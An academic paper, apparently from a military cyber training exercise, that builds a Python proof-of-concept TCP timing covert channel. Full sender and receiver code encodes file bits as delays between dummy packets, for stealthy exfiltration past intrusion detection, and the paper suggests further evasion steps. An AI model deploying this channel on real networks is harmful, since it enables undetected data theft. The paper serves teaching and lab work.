Image Source: ChatGPT

Covert Channels

Michael Bruce Ades

Matrix

27 July 2025

Help Received and Academic Integrity Statement:

In accordance with the ACE core values, I have neither given nor received unauthorized aid on this paper.

Executive Summary

Intelligence intercepted partial SIGINT and OSINT revealing a hostile, state-aligned APT group that established forward-operating network infrastructure to stage attacks against critical systems [1]. Combat Mission Team PHANTOM's covert-channel unit will receive that adversary network architecture, develop, deploy and validate a proof-of-concept covert communication channel capable of supporting implant-based exfiltration and long-term persistence under denied, degraded or deceptive conditions [1]. PHANTOM will demonstrate end-to-end covert communication between compromised endpoints without triggering internal monitoring alerts [1].

We assume the LAN workstation runs Python 3.10.12 with access to the standard socket, time and file I/O libraries, letting us use Python's built-in socket Application Programmable Interface (API) for connections across the network. We assume defenders and IDS focus on TCP headers and known anomalies rather than deep payload inspection, allowing our dummy-packets to traverse firewalls without raising alerts. We further assume network latency stays low relative to our 30 ms cutoff, delivering predictable packet delays so the receiver can distinguish "0" and "1" symbols reliably on the network, excessive traffic risks channel corruption.

We built a Python POC that divides into transmitter and receiver. The transmitter opens a TCP socket to the receiver, reads the payload file one byte at a time, converts each byte into an 8-bit string and sends dummy packets, inserting a time.sleep(CUTOFF) delay before each "1" bit to modulate packet timing. The receiver binds a listening socket, accepts the connection, timestamps each incoming packet, computes the arrival delta, classifies intervals above the cutoff as "1" and below as "0," assembles every eight bits into a byte and writes the result to the disk.

1. Problem Statement

Intelligence intercepted partial SIGINT and OSINT revealing a hostile, state-aligned APT group that established forward-operating network infrastructure to stage attacks against national and allied critical systems [1]. The adversary, codenamed InnovationsCorp (iCorp), operates an enterprise-style network to develop and test malware targeting operational technology within critical infrastructure [1].

Combat Mission Team PHANTOM's covert-channel unit received orders to replicate the adversary's network and build a proof-of-concept (POC) covert communication channel [1]. This channel must support implant operations for post-exploitation and long-term persistence under denied, degraded or deceptive conditions [1]. PHANTOM will hand off the POC to the implant operations team for use into target-environment payloads [1].

The adversary uses a two-tier design comprising of a LAN (192.168.3.0/24), a DMZ (172.16.50.0/24) and a WAN (10.0.80.0/24) [1]. Team PHANTOM will receive a similar test network to then develop, deploy and validate the covert channel within that simulated architecture.

PHANTOM must demonstrate end-to-end covert communication between compromised endpoints and exfiltration of data without triggering internal monitoring alerts [1]. Deliverables include complete POC code, a README guiding operators through setup, channel operation and integration, and a PCAP capture that proves covert-channel functionality.

2. Assumptions

We assume the sender on the Local Area Network (LAN) runs Python 3.10.12 on their host machine and can invoke standard libraries, such as socket, time and file I/O, without installing additional packages. We use Python's built in network Application Programmable Interface (API) to establish a connection between the sender and receiver.

We assume defenders and intrusion detection systems (IDS) refrain from deep content inspection of TCP packets and focus on header fields or known protocol anomalies. Under this assumption, our dummy-packet payloads traverse firewalls and the IDS without triggering alerts.

We assume network latency remains low enough that background traffic introduces negligible latency compared to our 30ms cutoff threshold for our covert channel. We depend on packet delays staying within predictable bounds so that receivers can distinguish "0" and "1" intervals reliably. Any heavy traffic introduces delay and would degrade the integrity of our information and introduce error.

3. Background

This section provides the context needed to understand the covert and timing-channel concepts discussed below.

3.1 Covert Channels

We define covert channels as methods developers use to hide data within legitimate communications, and we categorize them into storage and timing channels. Storage channels embed hidden information within packet headers, payloads, or unused protocol fields, while timing channels rely on the timing of packets sent to convey data. In order for a defender to detect storage channels they must thoroughly inspect packet contents over the network.

Detecting timing channels requires analysis of arrival delays and packet-ordering to reveal non-standard timings in packets [1].

3.1.1 Timing Channel

We focus on timing channels, which carry covert data by altering the timing of legitimate traffic rather than its contents. A timing channel uses an existing packet flow, such as HTTP keep-alives, DNS queries or SSH heartbeats, and encode bits by slightly delaying packets within normal timing windows [2]. Timing channels use dummy packets similar to other packets on the network with precise timings, and combining these inserted packets with genuine traffic introduces stealthiness [2].

3.2 Transmission Control Protocol (TCP)

We define TCP to show an easy protocol to target for timing channels. TCP establishes a stateful session with a three-way handshake and maintains sequence numbers [3]. Most TCP communications implement delayed acknowledgments, which hold ACKs for an interval of 20–200 ms [4] [5].

3.3 Request For Comments (RFC)

We reference RFC documents that formalize standards and best practices of specific network protocols. We implement and test protocols, such as TCP, against these published RFCs to ensure consistence behavior across network devices [6].

4. Tools and Techniques

The following section provides an overview of the tools and techniques we used to implement our timing channel.

4.1 Python (3.10.12)

We use Python for its simple syntax and its networking Application Programming Interfaces (API). Python provides a standalone script that works across Linux distributions with Python enabled.

4.1.1 Socket

We use Python's socket module to open TCP streams between two workstations. We use socket.socket(AF_INET, SOCK_STREAM) to instantiate a client or server socket, then connect() or bind(), and listen()/accept() to establish the session. We use the (sock.send(b'example')) to send over packets across the network [7] [8].

4.1.2 File Input and Output (I/O)

We use Python's built-in File I/O API to handle text data. By opening a file with modes like 'rb' (read-binary) or 'ab' (append-binary), we create a file object that supports methods such as read(size), which returns up to size bytes, and write(data), which writes a bytes object to disk [9].

4.1.3 time.sleep()

We use time.sleep(seconds) from Python's time module to pause execution of the program for a specified interval. The function sleep() invokes timers available on the operating

system (OS), such as, nanosleep on Unix and guarantees that the pause lasts the duration we set [10].

4.2 Wireshark

Wireshark captures packet-level data from network interfaces and allows users to inspect specific protocols in a Graphical User Interface (GUI) environment [11]. Wireshark allows for filters display filters, for example, tcp.port == 8080 to refine listed packets after capture on the GUI [12]. Wireshark provides exports for packet dissections to extract fields such as timestamps and IP addresses into a Comma Seperated Values (CSV) file [13].

5. Problem Solution

The following problem solution describes our implementation for a timing based covert channel built in Python.

5.1 Transmitter (covert_sender.py)

In Figure 1, we start with importing the Python libraries into our covert_sender.py file.

```
import socket
import time
import argparse
```

Figure 1. Imported arguments

We import socket to enable TCP, time enables precise sleeps, and argparse allows for us to provide clean arguments for when we invoke our python file. In Figure 2, we create a CUTOFF time that defines the threshold used to encode a “1” bit by sleeping before a send.

```
CUTOFF = 0.03  # Cutoff time in seconds
```

Figure 2. Cutoff time

We set ourcutoff to 0.03 seconds to go just above background latency. We will use our cutoff to compare arrivals in packets to reconstruct our bytes to “1” or “0” for the covert data. We now must create a function that transmits data with the receiver and sends the data over the covert channel. In Figure 3, we create a TCP socket, connect to the receiver, send our file, and then close the connection.

```
def transmit_data(file, host, port):
    """
    Establishes a connection with the reciever and sends data through the covert channel
    :param file: The location of the file to send.
    :param host: The host to send the file to
    :param port: The port to send the file to
    """

    # Create a TCP/IP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Connect the socket to the host and port
    server_address = (host, int(port))
    sock.connect(server_address)

    try:
        # Send our file over the covert channel
        send_file(file, sock)

    finally:
        # Close the socket
        sock.close()
```

Figure 3. Transmit_data function

We now need to define how our send_file function works. We open the file we passed in binary mode, we use binary mode because we send bits over the connection. We then send a short message to let the receiver synchronize its timing and to read one byte at a time. For each byte, we format the numeric value into an 8-character binary string and will create a

transmit_packets function to encode our information through timing. In Figure 4, we provide our send_file(file, sock) function with the parameters for the file to send and the socket connection.

```
def send_file(file, sock):
    '''
    Send a file through the covert channel
    :param file: The name of the file to send.
    :param sock: The socket object to send data through
    '''

    # Open the file and get the first byte
    with open(file, 'rb') as f:
        byte = f.read(1)

        # Send a message to initiate the timer on the server
        sock.send(b'xxx')

        # While there are still bytes in the file...
        while byte:
            #Convert the byte to a bit string and send packets
            bit_str = format(byte[0], '08b')
            print(f"Sending: {bit_str} ({byte})")
            transmit_packets(bit_str, sock)

            byte = f.read(1)
```

Figure 4. Send_file(file, sock) function

We now define our transmit_packets(bit_str, sock) function. We walk through each bit in the 8-bit string. If the bit equals a “1” it sleeps CUTOFF seconds and for a “0” it skips the sleep. It then sends a fixed 3-byte payload for every bit. In Figure 5, we provide the transmit_packets(bit_str, sock) function with the parameters of our payload and the socket connection.

```python
def transmit_packets(bit_str, sock):
    '''
    Encodes the bits of 'bit_str' by modulating the timing between TCP packets.
    :param bit_string: the byte to send
    :param sock: The socket to send data through
    '''

    # Send data via our timing channel
    for bit in bit_str:
        if bit == "1":
            time.sleep(CUTOFF)  # Add a delay for '1' bits
        sock.send(b'xxx')
```

Figure 5. Transmit_packets(bit_str, sock) function

In Figure 6, we parse all of our operator inputs for the host, port, file, and sleep before transmission and then call the transmit_data function in main with the selected file and destination.

```python
def main():

    # Add our args and parse them
    parser = argparse.ArgumentParser(description="Data transmitter")
    parser.add_argument("--host", default="127.0.0.1", help="Destination host (Default 127.0.0.1)")
    parser.add_argument("--port", default="8080", help="Destination port (Default 8080)")
    parser.add_argument("--file", required=True, help="File to transfer")
    parser.add_argument("--sleep", type=int, default=0, help="Time in seconds to sleep before transmission (Default 0)")
    args = parser.parse_args()

    time.sleep(args.sleep)
    transmit_data(args.file, args.host, args.port)
    # send_data("HELLO!", "127.0.0.1", "8080")

main()
```

Figure 6. main() method

5.2 Receiver (covert_receiver.py)

In Figure 7, we define our covert_receiver.py file with the socket, time, and argparse libraries for the same reasons of the covert_sender.py file.

```
import socket
import time
import argparse
```

Figure 7. Imported arguments

We now need to set the timing cutoff threshold the decoder uses for bit classification of the payload. We define a buf_size variable as well to the constant 3-byte payload size of our sender to simplify synchronization. In Figure 8, we define our CUTOFF and BIF_SIZE variables.

```
CUTOFF = 0.01   # cutoff time in seconds
BUF_SIZE = 3   # Size of TCP data buffer
```

Figure 8. Cutoff and Buf_size variables

We define our receive_data(file, host, port) function to accept a file and bind address so operators control where the listener runs and where decoded bytes go. We then create a TCP socket that will accept inbound connections from the sender with `sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`. We build the (ip, port) tuple with `server_address(host, int(port))` and bind the listening socket to it so the OS forwards SYNs for that port with `sock.bind(server_address)`. We then use `sock.listen(1)` to put the socket into passive mode and allow for one connection. We let our client_address listen with, `client_address = sock.accept()` to block connections until a sender connects and to capture the new session socket with the peer. We then initalize our decode loop for data transfer by using `read_packets = True` to control the loop exit, `counter = 0` to track bit index within a byte, and a eight bit buffer `bits = [0, 0, 0, 0, 0, 0, 0, 0]` to hold our data transfer. In Figure 9, we show the first part of the receive_data(file, host, port) function.

```
def receive_data(file, host, port):
    """
    This function receives data from TCP and writes it into a file.
    :param host: The host to receive data from.
    :param port: The port to receive data from.
    """
    # Create a TCP/IP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Bind the socket to the host and port
    server_address = (host, int(port))
    sock.bind(server_address)

    # Listen for incoming connections
    sock.listen(1)

    # Wait for a connection
    connection, client_address = sock.accept()

    # Init variables needed for data transfer
    read_packets = True
    counter = 0
    bits = [0, 0, 0, 0, 0, 0, 0, 0]
    string = ""
```

Figure 9. First part of receive_data(file, host, port) method

For the second part of the receive_data function we open the output file in append-binary mode so the program continually appends to the file with `open(file, 'ab')`. We then enter our try, catch block for safe cleanup and read in the BUF_SIZE to synchronize the timing between our connection with the sender with `connection.recv(BUF_SIZE)`. We then iterate through our read_packets and receive the data from every packet and delegate each `bit = getPacket(connection)`. If no more bits persist we close the connection and no longer read packets. If bits do remain we add them to our bits array with `bit[counter] = bit` and increment our counter. Once the counter reaches 8 we join the bits into a full byte string with

`byte = int(‘’.join(str(b) for b in bits), 2)` and convert the binary representation into an integer 0-255. We then wrap the integer as a single byte and append it to the output file and rebuild the original payload one byte at a time. In Figure 10 we provide the second part of our receive_data function.

```
with open(file, 'ab') as f:
    try:
        # Ignore data from the initial connection
        connection.recv(BUF_SIZE)

        while read_packets:

            # Receive data
            print("[%d]"%(counter), end=' ')
            bit = getPacket(connection)

            # Check for a closed connection
            if bit is None:
                print("Connection closed")
                read_packets = False

            # Add bit to our bits array
            else:
                bits[counter] = bit
                counter += 1

            # If we reach the end of the bits array...
            if counter == 8:

                # concatinate the bits into a byte and write it to a file
                print("Interpreted data (bits):", bits)
                byte = int(''.join(str(b) for b in bits), 2)
                packed = bytes([byte])
                f.write(packed)

                # Reset our data transfer variables
                bits = [0, 0, 0, 0, 0, 0, 0, 0]
                counter = 0

                ## Debug outputs
                # print(packed)
                # received_char = chr(byte)
                # print("Interpreted data (ASCII) '%c'"%(received_char))
                # string += received_char
```

Figure 10. Second part of receive_data(file, host, port) method

In Figure 11, we close the connection and print the received payload string from the sender.

```
        finally:
            # Clean up the connection
            connection.close()
            print("Received String: '%s'"%(string))
```

Figure 11. Third part of receive_data(file, host, port) method

We now define our getPacket(connection) function to interpret the time between packets and to determine the bit that was sent. We first initalize our `data = b''` to store our interpreted bit. We then take a timestamp immediately before receiving the packet with `start_time = time.time()` and take another timestamp after receiving the next byte. We then pass those timestamps into our getBit function for classification of the specific bit sent. In Figure 12, we provide our getPacket(connection) function.

```
def getPacket(connection):
    '''
    Records the time between packets and determines the bit that was sent.

    :param connection: The connection to read data from

    :returns: A '1' or '0' string indicating the value sent over the channel. Returns None
              when the connection is closed.
    '''

    data = b''

    # Get the time between packets
    start_time = time.time()
    data = connection.recv(BUF_SIZE)
    end_time = time.time()

    print("Packet data:", data, end=" | ")

    # Connection closed, exit
    if data == b'':
        return None

    # Return the value of the bit that was sent through the channel
    return getBit(start_time, end_time)
```

Figure 12. getPacket(connection) method

We now define our getBit(start_time, end_time) function that determines which bit was sent from the sender. We first compute the difference between the `end_time` and the `start_time`. We then add a delay for if the time difference goes over the CUTOFF interval. Any gap above the threshold returns a "1." Otherwise, the interpreted byte remains a 0. In Figure 13, we provide our getBit(start_time, end_time) method.

```
def getBit(start_time, end_time):
    '''
    Determine which bit was sent through the channel.

    :param start_time: The time that the receiver started to wait for a packet.
    :param end_time: The time that the packet was received.
    '''

    diff = end_time - start_time

    # Add a delay if the time difference is over the CUTOFF interval
    print("Timing diff: %fs"%(diff), end = " | ")
    if diff > CUTOFF:
        print("Interpreted binary '1'")
        return 1

    print("Interpreted binary '0'")
    return 0
```

Figure 13. getBit(start_time, end_time) method

We then define our main function and use the argument parser to provide the operator with arguments for the host, port, and file and call the receive_data(args.file, args.host, args.port) function with the arguments to receive the data from the sender. In Figure 14, we provide our main method.

```python
def main():

    # Add our args and parse them
    parser = argparse.ArgumentParser(description="Data transmitter")
    parser.add_argument("--host", default="127.0.0.1", help="Receiver host (Default 127.0.0.1)")
    parser.add_argument("--port", default="8080", help="Receiver port (Default 8080)")
    parser.add_argument("--file", required=True, help="Location to save data")
    args = parser.parse_args()

    # Listen for transmissions
    print(f"Listening on {args.host}:{args.port}...")
    receive_data(args.file, args.host, args.port)

main()
```

Figure 14. main() method

We conclude with our timing based channel and provide our user guide and pcap in the code zip files.

6. Risk Assessment

We assume the host on the LAN uses Python 3.10.12 and imports socket, time and file-I/O modules. If this assumption fails from Python not on the host, the sender script does not execute, and the covert channel never generates traffic. To mitigate this risk, we require reconstructing our implementation into a binary that executes on the system, for example C.

We assume that firewalls and IDS appliances inspect only TCP headers or known protocol signatures, and that they ignore the dummy packets we send. If this assumption proves false and the defenders discover our dummy packets through anomaly detection, this exposes our covert channel. To mitigate this, we must encrypt or obfuscate our dummy packets by wrapping them inside a legitimate protocol to blend in with other traffic.

We assume that LAN, DMZ and WAN networks introduce low latency well below our 30 ms timing threshold, so that the receiver reliably distinguishes “0” and “1” intervals. If unexpected traffic creates high latency variance above our cutoff, the error rate of our packets

increase, corrupting the reconstructed payload. To mitigate this, we must implement error-correction by grouping each byte into a small Hamming code and introducing redundancy to our bytes to check for errors [14].

7. References

[1] D. Fitzgerald, “Operation Phantom Nexus,” presentation slides, 2025.

[2] S. Wendzel, S. Zander, B. Fechner, and C. Herdin, “A pattern-based survey and categorization of network covert channel techniques,” *ACM Computing Surveys*, vol. 47, no. 3, art. 50, Feb. 2015, doi: 10.1145/2684195.

[3] J. Postel, “Transmission Control Protocol,” RFC 793, Sep. 1981. Available: https://www.rfc-editor.org/rfc/rfc793. [Accessed: Jul. 27, 2025].

[4] GitHub, “ethersex/ethersex: Issue #257.” Available: https://github.com/ethersex/ethersex/issues/257. [Accessed: Jul. 27, 2025].

[5] Server Fault, “tcping reports 20ms latency between web farm and DB.” Available: https://serverfault.com/questions/502223/tcping-reports-20ms-latency-between-web-farm-and-db . [Accessed: Jul. 27, 2025].

[6] IETF, “RFCs and the publication process.” Available: https://www.ietf.org/process/rfcs/. [Accessed: Jul. 27, 2025].

[7] Python Software Foundation, “socket — Low-level networking interface,” *Python 3 Documentation*. Available: https://docs.python.org/3/library/socket.html. [Accessed: Jul. 27, 2025].

[8] B. J. Hall, *Beej's Guide to Network Programming*. Available: https://beej.us/guide/bgnet/. [Accessed: Jul. 27, 2025].

[9] Python Software Foundation, "io — Core tools for working with streams," *Python 3 Documentation*. Available: https://docs.python.org/3/library/io.html. [Accessed: Jul. 27, 2025].

[10] Python Software Foundation, "time — Time access and conversions," *Python 3 Documentation*. Available: https://docs.python.org/3/library/time.html. [Accessed: Jul. 27, 2025].

[11] Wireshark, "Wireshark." Available: https://www.wireshark.org/. [Accessed: Jul. 27, 2025].

[12] Wireshark, "Capture filters." Available: https://wiki.wireshark.org/CaptureFilters. [Accessed: Jul. 27, 2025].

[13] Wireshark, "Introduction," *Wireshark User's Guide*. Available: https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html. [Accessed: Jul. 27, 2025].

[14] GeeksforGeeks, "Hamming code in computer network." Available: https://www.geeksforgeeks.org/computer-networks/hamming-code-in-computer-network/. [Accessed: Jul. 27, 2025].